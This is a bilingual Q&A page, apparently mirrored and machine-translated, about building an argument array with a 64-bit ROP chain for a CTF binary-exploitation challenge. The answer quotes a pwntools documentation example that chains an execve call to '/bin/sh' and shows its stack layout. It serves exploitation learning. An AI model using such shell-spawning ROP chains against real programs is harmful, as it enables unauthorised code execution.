使用 ROP 链(64 位)创建数组?

发布于 2025-01-18 12:08:51 字数 124 浏览 4 评论 0原文

为了解决二进制利用 CTF-Challenge,我必须创建一个参数数组来传递给系统调用。我在互联网上搜索了很多,但找不到有关如何在 64 位计算机上使用 ROP-Chain 创建字符串数组的描述。

有谁知道已经完成了吗?

in order to solve a binary exploitation CTF-Challenge I have to create an array of arguments to pass to a syscall. I searched a lot on the internet, but I can't find a description on how to create an array of strings with a ROP-Chain on a 64-bit machine.

Does anyone know it's done?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

寂寞笑我太脆弱 2025-01-25 12:08:51

如果您提供堆栈地址,它将使用 pwntools ROP 功能自动完成。

摘自文档

当堆栈指针已知时,您还可以将复杂的参数附加到堆栈上。

>>> rop = ROP(二进制,基数=0x7fffe000)
>>>>> rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls'] ], 0])
>>>>>打印(rop.dump())
0x7fffe000: 0xcafebabe execve([b'/bin/sh'], [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0)
0x7fffe004: b'baaa' <返回地址>
0x7fffe008: 0x7fffe014 arg0 (+0xc)
0x7fffe00c: 0x7fffe01c arg1 (+0x10)
0x7fffe010:0x0 arg2
0x7fffe014:b'/bin/sh\x00'
0x7fffe01c:0x7fffe02c(+0x10)
0x7fffe020:0x7fffe034(+0x14)
0x7fffe024:0x7fffe038(+0x14)
0x7fffe028:0x7fffe03c(+0x14)
0x7fffe02c: b'/bin/sh\x00'
0x7fffe034: b'-p\x00
0x7fffe038: b'-c\x00 0x7fffe03c: b'ls\x00

If you supply the stack address, it will be automatically done using pwntools ROP functionality.

Excerpt from the docs:

You can also append complex arguments onto stack when the stack pointer is known.

>>> rop = ROP(binary, base=0x7fffe000)
>>> rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0])
>>> print(rop.dump())
0x7fffe000:       0xcafebabe execve([b'/bin/sh'], [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0)
0x7fffe004:          b'baaa' <return address>
0x7fffe008:       0x7fffe014 arg0 (+0xc)
0x7fffe00c:       0x7fffe01c arg1 (+0x10)
0x7fffe010:              0x0 arg2
0x7fffe014:   b'/bin/sh\x00'
0x7fffe01c:       0x7fffe02c (+0x10)
0x7fffe020:       0x7fffe034 (+0x14)
0x7fffe024:       0x7fffe038 (+0x14)
0x7fffe028:       0x7fffe03c (+0x14)
0x7fffe02c:   b'/bin/sh\x00'
0x7fffe034:       b'-p\x00
0x7fffe038: b'-c\x00 0x7fffe03c: b'ls\x00
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文